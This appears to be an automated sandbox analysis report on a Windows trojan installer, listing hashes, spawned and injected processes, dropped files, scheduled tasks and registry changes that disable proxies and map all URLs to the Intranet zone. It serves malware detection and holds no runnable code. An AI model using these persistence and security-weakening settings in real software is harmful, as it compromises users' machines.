HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.NSIS.StartPage.FD, mzpefinder_pcap_file.YR, GenericInjector.YR (Lavasoft MAS)Behaviour: Trojan
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 197468a735b98dd037a02fab0075aba3
SHA1: bec8d1b1db3615c90cee8cb558a33a39bb073b2d
SHA256: ec6379eba8ae24088facc162650bd748ebdd56b8a94df299ad991f58d29840f3
SSDeep: 24576:j6c0vla9c8IDGceOfpwBqx1t x5Wqch8BGJKg1RQ6rjTtLXGAIB5Ln:D39c8IDGceOSqnArWqch8BGJKWi4PtLA
Size: 1228288 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2015-08-31 10:27:03
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
smu.exe:1072
smu.exe:1104
smu.exe:304
wscript.exe:1224
sma.exe:3608
sma.exe:560
sma.exe:2232
sma.exe:2084
sma.exe:1228
sma.exe:2164
sma.exe:2160
The Trojan injects its code into the following process(es):
%original file name%.exe:632
%original file name%.exe:372
ins_smk.exe:1788
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process smu.exe:1104 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\All Users\Application Data\SearchModulePlus\smhe.js (411 bytes)
The process smu.exe:304 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%WinDir%\Tasks\SMW_UpdateTask_Time_3835323735333432352d3437415a556c2a3223346c41.job (968 bytes)
%Documents and Settings%\All Users\Application Data\SearchModulePlus\smhe.js (407 bytes)
The process %original file name%.exe:632 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%WinDir%\Tasks\Inst_Rep.job (876 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Installer\Install_29593\%original file name%.exe (7726 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Install_16732\ins_smk.exe (52641 bytes)
The Trojan deletes the following file(s):
%WinDir%\Tasks\Inst_Rep.job (0 bytes)
The process %original file name%.exe:372 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%WinDir%\Tasks\Inst_Rep.job (724 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Installer\Install_20715\%original file name%.exe (7726 bytes)
The process ins_smk.exe:1788 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Program Files%\Common Files\Goobzo\GBUpdatePlus\SMUninstall.exe (19096 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\sma.exe (3312 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\SBIEBrowserHelperObject.dll (784 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smci32.dll (34561 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smfi32.dll (23296 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smei32.dll (24832 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg2.tmp (312459 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw3.tmp\System.dll (11 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smri32.dll (13584 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw3.tmp\AccDownload.dll (11344 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw3.tmp\nsExec.dll (6 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smu.exe (58402 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smi32.exe (2392 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\Updater.exe (25112 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smw.sys (784 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smoi32.dll (14184 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw3.tmp\ns5.tmp (6 bytes)
%WinDir%\Tasks\SMWPUpd.job (1152 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsq1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw3.tmp (0 bytes)
Registry activity
The process smu.exe:1072 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "26 DA 96 CC ED 6B 79 51 1D 12 05 85 20 B4 04 0E"
[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus]
"Scf" = "F3 25 D0 CE DF 47 E8 C6 DE B9 FB 3E B1 5E 17 DD"
The process smu.exe:1104 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F4 FC 90 1C FF 91 77 6B 08 D5 36 E9 90 30 B7 1E"
[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus]
"Rlt" = "Type: REG_QWORD, Length: 8"
"Scf" = "FB 05 F7 99 1B 3B 86 57 22 3C 97 F9 38 B0 0A 10"
"Ubl" = ""
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows]
"LoadAppInit_DLLs" = "0"
[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus]
"Gcf" = "61 B9 32 24 D9 85 6F CB F8 EA 8A 76 BC 98 B0 0A"
"Ult" = "Type: REG_QWORD, Length: 8"
The process smu.exe:304 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FC D0 CC 6A 2F 97 B2 F7 E4 78 D7 1F 38 43 3C CE"
[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus]
"Rlt" = "Type: REG_QWORD, Length: 8"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus]
"Scf" = "FA 1D 7E 67 3E 2D 94 DC D0 BD 61 C1 29 59 5B 4F"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Wow6432Node\SearchModulePlus\SMUpdPlus\Users\Default]
"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus\Users\Default]
"Spt" = "0E 67 60 5E E3 C9 4E D4 C3 0C 82 C4 22 7A B0 07"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus]
"Gcf" = "D9 A5 D4 C7 0B 94 E4 04 31 95 5A 08 A8 9B 13 3E"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus\Users\Default]
"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
The process wscript.exe:1224 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "22 81 19 9B 5A 8A 19 96 1B 68 DC EB 3D 73 F2 49"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Common Files\Goobzo\GBUpdatePlus]
"smu.exe" = "Search Module Plus Update Service"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
"IntranetName" = "1"
The process sma.exe:3608 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 21 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "37 F5 4F 71 90 59 7F CC 9B 86 F0 DC 24 94 57 12"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process sma.exe:560 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "55 CD DD FD 4A BE DD 25 6A B0 F8 35 3B D9 BE 02"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process sma.exe:2232 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "68 A2 70 0A 79 DA 1A A8 A0 3F 8B 2C F5 C7 4C C4"
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 06 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
Proxy settings are disabled:
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan deletes the following value(s) in system registry:
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"
The process sma.exe:2084 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 20 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "96 F9 7A B3 3B CB 8A 6C D8 73 19 0D 51 F2 A9 F8"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process sma.exe:1228 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "62 61 08 95 CF 45 4D 6B 02 7E 25 BA E6 4D 26 4D"
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\LocalService\Cookies"
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
Proxy settings are disabled:
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan deletes the following value(s) in system registry:
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"
The process sma.exe:2164 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B7 E2 3D 1A 21 05 EB 7A FC AE A5 22 C6 8B FD 87"
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 05 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
